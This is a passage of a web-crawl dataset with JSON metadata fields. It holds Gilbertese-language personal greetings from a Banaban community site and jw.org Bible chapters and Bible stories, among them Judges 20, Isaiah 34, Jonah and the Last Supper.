uncle kairo and aunty babai ao nei siki ni mata lisa and the husband ao kain te auti ma kaka tekineu ma sshhshs au kantaniga ba a bane nimarurung raoi ker ao i miss u all ker gaira ikai tinang marurung raoi ma enang kaokoro te maeu ikai tinang mau nikainano ngkai bon tiaki raoi te aba are ti ikawai iaona ao tia nang aki kan kitanna ma enang kaga are tao omina riki ao koataia kaga e rok are tia miss tenan fruits shshshs ai bon te aba ra te aba aio ok tao tinaki naba nang kababaki ker ma gai ngkai i mena i rouia Auriaria ma Ntarie i ambo ao mum and dad i betio gaia ma teneaki are rakera ao natia ni kabane ok ma koa uriga naba au kamauri nakoia kain te auti ni kababe ao au kiss nakon kaka tekineu ker ma ai the coolest regard riki nakoim bro ma koa maga rereitia mai ikanne ker\ntia maga boo ao koa add me naba ker thanx\nlove u bro and miss u so much and not forgeting to congratulate ur engagement\nfrom ur loving sis Aroita Metita","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/banabanvoice.ning.com\/profile\/IbeatuKairo","date":"2018-04-20T10:46:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937440.13\/warc\/CC-MAIN-20180420100911-20180420120911-00180.warc.gz","language":"gil","language_score":0.9986973405,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"gil_Latn_score\": 0.9986973404884338}","num_words":509,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke a waakinaanako aia mwakuri ni minita i Kariraia ana abotoro Iesu, ao ai bon akea ngkai inaomatan teuare kaotiota taekan Iesu. E a kaania uoua te ririki maanin Ioane te tia Bwabetito n tiku n te matawariki.\nE a tia Ioane n taekina kairuan te Uea are Erote Antibati n anaakin Eroria are buun ai tarina ae Biribo bwa buuna. E a tia ni buuraure teuaei ma moani buuna bwa e na manga mare ma Eroria. Ni kaineti ma te Tua Rinanoni Mote are aongkoa e toua mwina Erote, te mare aei bon te wene ni kimoa ao riaoakin te tua. Ni kaineti ma boaakina iroun Ioane, e a tua Erote bwa e na kamatawarikaki Ioane tao ni kaineti ma kaumakana iroun Eroria.\nE a aki ataa te bwai ae e na karaoia Erote nakon Ioane kioina ngke a taku aomata \"bwa te burabeti.\" (Mataio 14:5) E ngae ngke akea te bwai ae e kona ni karaoia Eroria ibukin aei, ma e \"kaikoa unna ni kaitaraa Ioane\" ao e bon ukera angan tiringana. (Mareko 6:19) N tokina ao e a reke angana.\nImwain raoi te Toa ae te Riao n 32 C.E., e a bairea te bukamaru ae bubura Erote ibukin ana rekenibong. A roko ni kaea te botaki, ana tia mwakuri Erote nako aika bwakuaku ao mataniwi n te taanga ni buaka, ao ai kaaini Kariraia aika kakannato. E kamwaieaki n tain te botaki Tarome ae natin Eroria ma Biribo are buuna ngkoa, ni kamatakuia iruwa. A bwaka nanoia mwaanen te botaki n ana kamataku neiei.\nMoan te kukurei Erote iroun Tarome are natini buuna, ngaia are e a taku nakoina: \"Butiiai te bwai ae ko tangiria ao N na anganiko.\" E bon tuea naba ni kangai: \"Te bwai ane ko butiiai ao N na anganiko, e ngae ngkana tao iteran ueau.\" Imwain ae e kaeka neiei ao e otinako moa n titirakina tinana ni kangai: \"Tera ae N na butiia?\"—Mareko 6:22-24.\nAio te tai are e a kaman ukeria Eroria! E waekoa ni kaeka ni kangai: \"Atun Ioane are te tia Bwabetito.\" E rin naba ngkekei Tarome ao e bubutii ni kangai: \"I tangiria bwa ko na kaamai ngkai naba atun Ioane te tia Bwabetito i aon te raurau.\"—Mareko 6:24, 25.\nMoan te rawawata Erote n te baei, ma a a tia n ongo ana iruwa ana taetae n tuea nakon Tarome. E a maamaa ngkana e nang aki kakoroa bukina, e ngae naba ngkai e nang tiringaki iai te aomata ae akea ana bure. Ngaia are e a kanakoa te tautia nakon te karabuuti ma te moti ni kaineti ma te tiritiri arei. N te tai ae waekoa ao e a oki teuanne ma atun Ioane n te raurau, ao e a angan Tarome, are e a nikiria iroun tinana.\nNgke a ongo taan rimwin Ioane te bwai ae riki, ao a roko n anaa rabwatana n taunna, ao a kaongoa Iesu.\nImwina riki ngke e a ongongo Erote taekan Iesu ni kamarurungia aoraki ao ni kanakoia taimonio mairouia aomata, ao e a maaku. E iangoia bwa tao Iesu are e karaoi baikai, bon Ioane te tia Bwabetito ae \"e a kautaki mai buakoia maate.\" (Ruka 9:7) Ngaia are e a korakora kan noran Iesu iroun Erote Antibati ma tiaki ibukini kan ongorana n ana uarongorongo, ma e kani kakoauaa raoi bwa a boni koaua baike e tabeaianga iai ke a aki.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/tiritiri-n-tain-botaki-rekenibong\/","date":"2018-04-25T11:46:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947795.46\/warc\/CC-MAIN-20180425100306-20180425120306-00189.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":559,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20 Mangaia are a a bane tibun Iteraera n otinako mai abaia tibun Tan+ ni karokoa Beerateba, ao man te aba ae Kireata,+ ao e a ikotaki te botaki n aomata ni katiteuanaaki,* i matan Iehova i Mitiba.+ 2 Mangaia are a tei n aia tabo aia mataniwi aomata ma aia baronga nako tibun Iteraera, i buakon ana botaki n aomata te Atua, aika tautia aika taan rianna aika 400,000 aika uakabaang.+ 3 Ao a ongo tibuni Beniamin ae a a tia ni waerake mwaane aika tibun Iteraera nako Mitiba. A taku ngkanne mwaane ake tibun Iteraera: \"Tuangira bwa e kangaa n riki te bwai ae rangi ni buakaka aei?\"+ 4 Ao e kaeka ni kangai teuare tibun Rewi+ are buun neiere tiringaki: \"I nako Kibea+ are aia kaawa tibuni Beniamin ma buu ni kewe* bwa ti na tiku iai ni kangainaa. 5 Ao a teirake n ekainako kaaini* Kibea ao a otabwaninia te auti ngke e a bong. Boni ngai ae a na tiringai, ma n oneani mwin anne, a taua buu ni kewe ao e a mate.+ 6 Ngaia are I anaa rabwatani buu ni kewe ao I korokoreia, ao ni kanakoi mwakorokorona nakon aonon nako Iteraera,+ ibukina bwa a a tia ni karaoa te mwakuri ae kanuka ao ae moan te kabwainrang i Iteraera. 7 Ao ngkami ni kabane aika tibun Iteraera, aanga ami taeka n reirei ao ami reirei ni kairiri+ ikai.\" 8 Ao a bane ni katiteuanaaki* n teirake aomata akekei ao a taku: \"Akea temanna i buakora ae e na nakon ana umwanrianna ke n okira ana auti. 9 Aio te bwai ae ti na karaoia nakoni Kibea: Ti na waerake n ekianako rinanon te kanikina* mairoun te Atua.+ 10 Ti na anaiia mwaane aika 10 mai buakoia 100 man aia baronga nako tibun Iteraera, ao 100 mai buakoia 1,000, ao 1,000 mai buakoia 10,000, bwa a na rikoi taian tianaki ibukia kaain te taanga ni buaka, bwa a aonga n ekaanako Kibea are aia kaawa tibuni Beniamin, ibukin te mwakuri ae moan te kabwainrang are a a tia ni karaoia i abaia tibun Iteraera.\" 11 Mangaia are a bane ni katiteuanaaki* mwaane aika tibun Iteraera n ikotaki n ekaanako te kaawa arei, bwa te koraki ae tii te korakina. 12 Ao aia baronga tibun Iteraera a kanakoia mwaane nakoia kaain aia baronga ni kabane tibuni Beniamin ao a kangai: \"Tera te bwai ae rangi ni buakaka ae riki i buakomi aei? 13 Kanakoia ngkai mwaane mai Kibea+ ake akea uaaia, bwa ti aonga ni kamateia ao ni kanakoa te bwai ae buakaka mai buakoia tibun Iteraera.\"+ Ma a rawa n ongo tibuni Beniamin irouia tariia ake tibun Iteraera. 14 A a ikotaki ngkanne nako Kibea tibuni Beniamin man taiani kaawa, bwa a na otinako ni buakania mwaane ake tibun Iteraera. 15 N te bong anne ao tibuni Beniamin a ikotiia mwaane aika 26,000 aika uakabaang man aia kaawa nako, i rarikia mwaaneni Kibea ake a rineaki ake 700. 16 Iai kaain te taanga ni buaka anne mwaane aika 700 aika rineaki aika a maing. A bane mwaane aikai n rangi ni baiteke ngkana a bana n taian atibu, ao e aki kona n aki teke konaia.* 17 Ao mwaane ake tibun Iteraera ake tiaki tibuni Beniamin, a ikotiia 400,000 mwaane aika uakabaang,+ ao a mwaatai n te buaka ngaiia n tatabemania nako. 18 A teirake naakai ao a waerake nako Betaera bwa a na titirakina te Atua.+ A taku ngkanne tibun Iteraera: \"Antai i buakora ae e riai ni waerake moa ni buakania tibuni Beniamin?\" E kaeka ni kangai Iehova: \"A na rimoa tibun Iuta.\" 19 Imwin anne ao a teirake tibun Iteraera ngke e a ingabong, ao a kaembwa ni kaitaraa Kibea. 20 A a otinako ngkai mwaane ake tibun Iteraera bwa a na buakania tibuni Beniamin. A baireiia raoi ni baireaia taani buaka ao a ekiianako i Kibea. 21 Mangaia are a otinako tibuni Beniamin mai Kibea ao a kamateia mwaane aika tibun Iteraera aika 22,000, n te bong anne. 22 Ma e ngae n anne, a kaotiia kaain aia taanga ni buaka tibun Iteraera bwa a ninikoria, ao a a manga baireiia naba n aroia ae a tauraoi iai nakon te buaka n aia tabo naba are a mena iai n te moani bong. 23 A waerake ngkanne tibun Iteraera ao a tang i matan Iehova ni karokoa ae bong, ao a titirakina Iehova ni kangai: \"E riai bwa ti na manga nako ni buakania tarira ake tibuni Beniamin?\"+ E kaeka ni kangai Iehova: \"Waerake buakania.\" 24 Mangaia are a mwananga tibun Iteraera ni kaania tibuni Beniamin n te kauoua ni bong. 25 Ao a otinako tibuni Beniamin mai Kibea bwa a na aitara ma ngaiia n te kauoua ni bong, ao a a manga kamateia riki tibun Iteraera aika 18,000,+ aika a bane n uakabaang. 26 Ibukin anne ao a a bane mwaane aika tibun Iteraera ni waerake nako Betaera. A tang ao a tekateka ikekei i matan Iehova,+ ao a aki mamatam+ n te bong anne ni karokoa ae bong, ao a anga taiani karea ni kabuekaki+ ma karea n raoi*+ i matan Iehova. 27 Imwin anne ao a titirakina Iehova mwaane ake tibun Iteraera,+ bwa ni boong akanne e mena ikanne ana ati ni berita te Atua ae koaua. 28 Ao e bebeku* i matan te ati ni boong akanne Bineati+ are natin Ereata are natin Aaron. A titiraki ni kangai: \"Ti riai ni manga otinako ni buakania tarira ake mwaane ake tibuni Beniamin ke ti a riai ni motirawa?\"+ E kaeka ni kangai Iehova: \"Kam na waerake, ibukina bwa N na anga ngaiia nako nanoni baimi ningabong.\" 29 Ao tibun Iteraera a katikuia mwaane bwa a na karan+ ni katobibia Kibea ni kabutaa. 30 A waerake tibun Iteraera n ekiianako tibuni Beniamin n te katenua ni bong, ao a a baireiia raoi n ekaanako Kibea n aron taai ake tabeua.+ 31 Ngke a otinako tibuni Beniamin bwa a na aitara ma te taanga ni buaka, ao a a kairakinako man te kaawa.+ Ao n aron taai ake tabeua a a moana buakanaia ao tiringaia mwaane tabeman ni kawai aika totouaki, teaina mai buakoia e waerake nako Betaera ao are teaina nako Kibea, ao a katikuia mwaane aika tibun Iteraera aika tao 30 ake a a mate n te tawaana.+ 32 Mangaia are a taku tibuni Beniamin: \"A a manga konaaki naba i matara n aron are mai mwaina.\"+ Ma a taku tibun Iteraera: \"Ti na mumun rikaaki ao ni kairiianako man te kaawa nakoni kawai aika totouaki.\" 33 Mangaia are a bane n teirake mwaane ake tibun Iteraera man aia tabo ao a baireiia raoi i Baaratama, ao a biri n otinako taani karan ake tibun Iteraera man aia tabo i rarikini Kibea. 34 Mangaia are a a roko i moani Kibea mwaane ake 10,000 ake a rineaki mai buakoia tibun Iteraera ni kabane, ao e korakora te boo ni buaka aei. Ma a aki ataia tibuni Beniamin ae e a kaan roko te kabuanibwai. 35 E kataenikaiia tibuni Beniamin Iehova+ i mataia tibun Iteraera, ao n te bong anne ao tibun Iteraera a kamateia 25,100 mwaane i abaia tibuni Beniamin, aika a bane n uakabaang.+ 36 Ma a iangoia tibuni Beniamin bwa a nang konaaki mwaane ake tibun Iteraera ngke a mumun rikaaki mairouia tibuni Beniamin,+ ma a mumun rikaaki ibukina bwa a onimakinia taani karan ake a katukaki bwa a na ekaanako Kibea.+ 37 A waekoa ni waaki taani karan ao a biri ni kaineta Kibea. Ao a a uamaenako taani karan ao a orea te kaawa ni kabane n te kabaang. 38 Ao a a tia ni baireia mwaane ake tibun Iteraera bwa a na kawaerakea te bubu mai ikekei mwaane ake a karana te kaawa, bwa te kanikina. 39 Ngke a a mumun rikaaki tibun Iteraera n te boo ni buaka, ao mwaane ake tibuni Beniamin a a moana buakanaia ao tiringaia mwaane aika tibun Iteraera aika tao 30,+ ao a taku: \"E otara bwa a a manga konaaki naba i matara n aron are n te moani buaka.\"+ 40 Ma e a moanna ni waerake te kanikina man te kaawa n aron te boua ae te bubu. Ngke a rairaki mwaane ake tibuni Beniamin n taraia, ao a a nora te kaawa ni kabane bwa e a urarake nako karawa. 41 Ao a rairaki mwaane ake tibun Iteraera ao a a bwara nanoia mwaane ake tibuni Beniamin, bwa a a noria ae a a taonakinako n te kabuanibwai. 42 Mangaia are a mumun rikaaki mairouia mwaane ake tibun Iteraera ni kaineta te rereua, ma a ririmwiaki n te boo ni buaka, ao a ira buakoni kamateaia naakai mwaane ake a otinako man taiani kaawa. 43 A otabwaninia tibuni Beniamin ao a kaeiia n akea motirawaia. A toutouia i moan raoi Kibea i mainiku. 44 N tokina ao a a bwaka mwaane aika tibuni Beniamin aika 18,000, aika taani buaka ni kabane aika korakora.+ 45 A mumun rikaaki tibuni Beniamin ao a birinako nakon te rereua nakon te bwaa ae Rimmon,+ ao tibun Iteraera a tiringia* 5,000 mai buakoia ni kawai aika totouaki, ao a teimatoa ni kaeiia ni karokoa Kitom. Mangaia are a kamateia riki mwaane aika 2,000. 46 Botani mwaitiia tibuni Beniamin ni kabane ake a bwaka n te bong anne bon 25,000 mwaane aika uakabaang,+ aika taani buaka ni kabane aika korakora. 47 Ma a mumun rikaaki ake 600 nakon te rereua nakon te bwaa ae Rimmon, ao a tiku n te bwaa ae Rimmon i nanon aua namwakaina. 48 Ao a rairaki mwaane ake tibun Iteraera n ekiianako tibuni Beniamin, ao a kamateia te koraki ake kaain te kaawa n te kabaang, mairouia mwaane ni karokoa te nanai ni man, ake nikira ni kabane ake a tiku. A kaurarakei naba kaawa ni kabane ake imwaini kawaia.\nTaiani Kabwarabwara Mai Nano\n^ Nora Nanon Taeka.\n^ Ke tao, \"taani bwaibwai n te aba ae.\"\n^ A kabongana te aro teuana are e kona iai te Atua ni kaotia bwa tera nanona ni kaineti ma te bwai anne.\n^ Ebera, \"a kona ni banaa te irannatu teaina n te atibu ao e na teke.\"\n^ Ke, \"te karea n iraorao.\" Te karea ae kaikonaka ae a kaai n amwarake ibonga, taan taromauri, ao Iehova, ni kaota te raoi i marenaia.\n^ Ebera, \"tetei.\"\n^ Ebera, \"a karemremwia.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taani-motikitaeka\/20\/","date":"2018-04-19T19:40:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00338.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1650,"character_repetition_ratio":0.129,"word_repetition_ratio":0.001,"special_characters_ratio":0.241,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A bukamarua te Toa ae te Riao I-Iutaia ni katoa ririki n 14 bongin te namwakaina ae Nitian. A kakaraoa aei bwa a kauringaki iai aron Iehova ni kainaomataia man te tautoronaki i Aikubita ao kairakia nakon te Aba ni Berita. N 33 C.E., ao a bukamarua te Toa ae te Riao Iesu ma ana abotoro n te ruu are i eta i Ierutarem. Ngke a a tia n amwarake ao e taku Iesu: 'E na kamwaneai temanna mai buakomi.' A rangi n nanokawaki abotoro ao a titirakina Iesu: 'Antai anne?' E taku Iesu: 'Bon teuare N na anganna te kariki aei.' Ao e angan Iuta Itekariota mwakoron te kariki. E teirake ngkekei naba Iuta ao e otinako.\nImwina ao e tataro Iesu, e otea te bwerena nakoni mwakorokoro aika uarereke ao e angania abotoro ake a tiku. E taku: 'Kana te bwerena aei. E tei ibukin rabwatau are N na anga ibukimi.' Imwina ao e tataro ibukin te wain ao e angania ana abotoro. E taku: 'Moi n te wain aei. E tei ibukin raraau ae N na anga ibukini kabwaraani buure. I berita nakoimi bwa kam na uea ma ngai i karawa. Kakaraoa aei ni katoa ririki bwa kanuringau.' A teimatoa taan rimwin Iesu ni bobotaki n te tairiki anne ni katoa ririki. E a aranaki te botaki anne ngkai bwa Ana Katairiki te Uea.\nImwin te katairiki, a a kauntaeka abotoro bwa antai te kabanea ni kakannato i buakoia. Ma e taku Iesu nakoia: 'Ane e kakannato riki i buakomi ao ke e riki bwa kaanga te ataei riki, ae mangori riki.\n'Bon raoraou ngkami. I tuangingkami bwaai ni kabane ake e tangiria Tamau bwa N na tuangingkami. N nang nakon Tamau i karawa. Kam na tiku imwiu, ao a na kinaingkami aomata ae taan rimwiu ngkami man te tangira ae kam kaotiotia i marenami. Kam riai n itangitangiri i marenami n arou ae I tangiringkami.'\nNi kabaneana, e a tataro Iesu ni butiia Iehova bwa e na kawakinia taan rimwina ni kabane. E butiia Iehova bwa e na buokiia bwa a aonga ni kaai ni mwakuri ma te rau. E tataro naba ibukini katabuan aran Iehova. Imwina e anene n nebonebo ma ana abotoro nakon Iehova ao a a otinako. E a kaan te tai are e nang katikaki iai Iesu.\n\"Tai maaku ngkami ae te nanai ae uarereke, bwa e a tia ni kariaia Tamami bwa e na anganingkami te Tautaeka n Uea.\"—Ruka 12:32","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/13\/ana-kabanea-ni-katairiki-iesu\/","date":"2018-04-26T14:39:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948214.37\/warc\/CC-MAIN-20180426125104-20180426145104-00320.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":406,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"34 Kaaningkami bwa kam na ongora ngkami aika natannaomata,Ao kakauongo ngkami aika botannaomata. Ke e ongora te aonnaba ma kanoana,Ao te aba ma uaana ni kabane. 2 Bwa e ekiianako natannaomata ni kabane unin Iehova,+Ao e ekinako aia taanga ni buaka ni kabane marakin nanona.+ E na kamaunaiaAo e na anga ngaiia nakon te kamateaki.+ 3 A na tewenakoaki aia aomata aika tiringaki,Ao e na waerake te mwaung man rabwataia aia mate.+ Ao taiani maunga a na ran ibukin* raraaia.+ 4 A na mka taanga ni buaka ake i karawa ni kabane,Ao e na niniraki karawa n aron te nira ni boki. A na bane n rai aia taanga ni buakaN aron te baanikai ae rai ae bwaka man te kai ae te kureebe,Ao te biiku ae mwautakataka man te aroka ae te biiku. 5 \"Bwa e na maratingo au kabaang i karawa,+Ao e na ruo i aon Etom ni kaineti ma te motikitaeka,+I aoia aomata aika I a tia ni baireia bwa N na kamaunaia. 6 Iai ana kabaang Iehova ao e na on n te raraa. E na buta te mwaete i aona+Ma raraaia tiibu mwaane aika ataei ao kooti,Ao ni mwaeten aia kirine tiibu mwaane. Bwa iai te angakarea ae katauraoia Iehova i Botira,Ae te kamamate ae korakora n te aba ae Etom.+ 7 A na ruo kaao mwaane aika moaanti ma ngaiia,Kaao mwaane aika ataei ma ake a korakora. E na maratingo abaia n te raraa,Ao e na roto aia tano n te mwaete.\" 8 Bwa iai ana bong ni karekekai Iehova,+Ae te ririki ni katuuaa ibukin te tangitang ibukin Tion.+ 9 A na bitaki karaangan neiei* nakon te korotaa,Ao tanona nakon te burimton.* Ao e na riki aban neiei bwa kaanga te korotaa ae urarake. 10 E na aki tiringaki n te bong ke n te ngaina. E na teimatoa ni waerake bubuna n aki toki. E na teimatoa n uruaki neiei man te roro teuana nakon teuana. Akea ae e na rinanon neiei n aki totoki.+ 11 A na abana neiei te berikan* ma te man ae te baokubain,Ao a na maeka i nanon neiei taian aure* aika abwabwaki taningaia ma mannikiba aika reben. E na bairea abwakin te aba aei te Atua n te kora ni baireMa te kora ni kaeti ae tinetine,* ni kaotia bwa e na akea kaaina ao e na akea manenana. 12 Akea mai buakoia ana bwaanuea neiei aika a na riki bwa ueea,Ao a na bane n akea bonganaia ana natinuea mwaane. 13 A na rikirake aroka aika kateketeke i nanon tauan neiei aika nonoaki,Ao kaai aika kateketeke ma uteute aika kateketeke i nanon ana tabo nako ni kamaiu. E na riki neiei bwa bwangaia tiakaore,*+Ao ooia aotireti.* 14 A na kaitiboo manin te rereua ma maan aika karongoa tangia,Ao e na wewete te kooti ae moaanti* nakon raona. Eng, e na maeka ikanne mannikiban te bong,* ao e na reke iai nnena ni motirawa. 15 E na karaoa ikanne ngaona te naeta ae birimwaaka ao ni kabwakabwakai iai bunnimoana,Ao e na karaurei ao n ikotiia i aan nuuna. Eng, a na ikotaki naba ikanne taiani kaite,* temanna ma temanna ma raona. 16 Ukeuke i nanon ana boki Iehova ao warekia ni kabaibati. Akea temanna i buakoia ae e na bua,Ao akea temanna i buakoia ae e na akea raona,Bwa boni win Iehova ae e a tia n tua,Ao bon taamneina ae ikotiia ni kabane. 17 Boni Ngaia ae e baireia bwa tera tibwangaia,Ao e a tia baina ni bairea aia tabo aika katauaki nako iai.* A na abanna n aki toki,Ao a na maeka iai i nanon rooro ni kabane.\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"a na raanga n.\"\n^ N taraana ao e kaineti nakoni Botira, ae kautun Etom.\n^ Nora Nanon Taeka.\n^ Ebera, \"taian atibu.\"\n^ Ke tao, \"te taimonio ae ai aron te kooti.\"\n^ Te mannikiba ae riririaki n te bong ao e kuri n titeboo ma te aure.\n^ Ebera, \"tibwatibwaia ibukia n te kora ni baire.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/34\/","date":"2018-04-25T01:43:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947654.26\/warc\/CC-MAIN-20180425001823-20180425021823-00482.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":643,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon aomata aika buakaka kaain Ninewe ae kaawan Aturia. E tuanga ana burabeti Iehova ae Iona bwa e na nako Ninewe ao n anga te kauring nakoia bwa a riai ni bitii aroaroia. Ma e aki nako Ninewe Iona ao e birinako. E tokara te kaibuke are e na nako Taretiti.\nI nanon ana tai ni borau te kaibuke, ao e roko te buaka ae korakora ao a a rangi ni maaku kaimoa. A tataro nakon atuaia ao n titiraki ni kangai: 'E aera ngkai e a riki aei?' N tokina, e taku nakoia Iona: 'I riai ni bukinaki n te baei. I birinako man te bwai are e tuangai Iehova bwa N na karaoia. Karenakoai i taari ao e na toki te buaka.' A aki kani karenakoa Iona kaimoa ma e imanonoia. Ngke a karenakoa i taari ao e a toki naba te buaka.\nN ana iango Iona e nangi boni mate. Ngke e a tabe n iinako teutana imwin teutana, e tataro nakon Iehova. Ao Iehova e kanakoa te ika ae totoa bwa e na onga Iona, ma e aki kamatea. E tataro Iona mai nanon te ika ni kangai: 'I berita bwa N na ongeaba iroum n taai nako.' E teimatoa Iehova ni kamanoa Iona i nanon te ika i nanon tenibong, ao imwina e tua nakon te ika bwa e na mumutaa Iona nako aon te aba ae mwau.\nIbukina bwa e kamaiua Iona Iehova, nanona ngkanne bwa e a aki riai n nako Ninewe? Tiaki ngaia anne. E a manga tuanga riki Iona Iehova bwa e na nako Ninewe. N te tai aei e a ongeaba Iona. E nakon te kaawa anne ao e tuangia aomata aika buakaka ni kangai: 'E na kamaunaaki Ninewe 40 te bong mangkai.' Ma e a riki naba te bwai ae aki kantaningaaki. A ongeaba kaain Ninewe ao a bitii aroaroia. E tua ae kangai uean Ninewe nakoia ana aomata: 'Wetea te Atua ao rairi nanomi. Tao ane e na aki kamaunaira.' Ngke e noria Iehova bwa a rairi nanoia aomata, e a aikoa kamauna Ninewe.\nE un Iona ngke e a aikoa kamaunaaki te kaawa aei. Iangoa aei: E a tia Iehova n taotaona nanona ao n nanoangaa Iona, ma Iona e aki nanoangaiia kaain Ninewe. Ma e tekateka i tinanikun te kaawa i aan nuun te kai ae te bangke ao e mata n un. Imwina, e a mate te aroka anne, ao e a rangi n un Iona. Ngaia are e a taku Iehova nakoina: 'Ko nanoangaa riki te aroka aei nakoia kaain Ninewe. I nanoangaiia ao a kamaiuaki.' Tera te reirei n aei? A kakawaki riki kaain Ninewe nakon aroka nako.\n\"E taotaona nanona [Iehova] nakoimi, ibukina bwa e aki tangira kamaunaan temanna ma e tangiriia aomata nako bwa a na rairi nanoia.\"—2 Betero 3:9","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/9\/iona\/","date":"2018-04-22T19:03:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945637.51\/warc\/CC-MAIN-20180422174026-20180422194026-00405.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":467,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Kiatoa, e rarabwa te kamauri n te ririki ae boou. Oh ngaia e roroko irarikim au saunimwane anne kee? Bon te kewe ni ka-slim ao imwina ai manga te marika n rang naba..hahahaha. ngaia tekeraoi naba nakoimi ikanne. ao aio natimi? erangi ni boboto. e tau e manga eiwati nakoati.\nNeiko akea te kanganga bwa ia karokoa am kiss ma am kamauri. E nang kanga ao tia reitaki ma kain te tabo aei ai ngaia tia roko naba iai. tekeraoi ikanne ao koa angania kain am auti au kamauri riki nakon te unaine.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/banabanvoice.ning.com\/profile\/KiatoaRuaia","date":"2018-04-20T10:48:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937440.13\/warc\/CC-MAIN-20180420100911-20180420120911-00173.warc.gz","language":"gil","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000057220458984}","num_words":94,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.266,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kamatoaa nanona Iobi bwa e na kakairi n ana kaetieti Iehova ibukin te aroaro ni maiu ae riai\nE taua aroni matana ao akea riki ae e tangiria i rarikini buuna\nBon te banna ni katoto ae raoiroi Iobi n arona nakoia aomata\nE nanorinano, e aki ribuaka, ao e nanoanga. E mutiakinia aomata ni kabane n aki ongeia bwa a kaubwai ke a aki\nE tituaraoi Iobi ao e aki bangaomata\nE rangi n ibuobuoki ao e tituaraoi nakoia akana maiu ni kainnano","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/eberi-2016-mwb\/kaetietin-te-botaki-eberi18-24\/iobi-katoto-ibukin-etin-arona-n-te-baibara\/","date":"2018-04-22T05:37:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945493.69\/warc\/CC-MAIN-20180422041610-20180422061610-00423.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":85,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.482,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E maeka Rota ma Aberaam are ai tamana, n te aba ae Kanaan. Imwina riki, a a rangi ni bati aia man Aberaam ao Rota ao e a aki tau te aba ibukia ni kabane. E taku Aberaam nakon Rota: 'Ti a aki kona ni kaai ni maeka n teuana te tabo. Taiaoka ma rinea te tabo ae ko kan nako iai, ao ngai are teuana.' Tiaki e kaotia Aberaam bwa e aki iaiangoia moa?\nE nora Rota tamaroan te 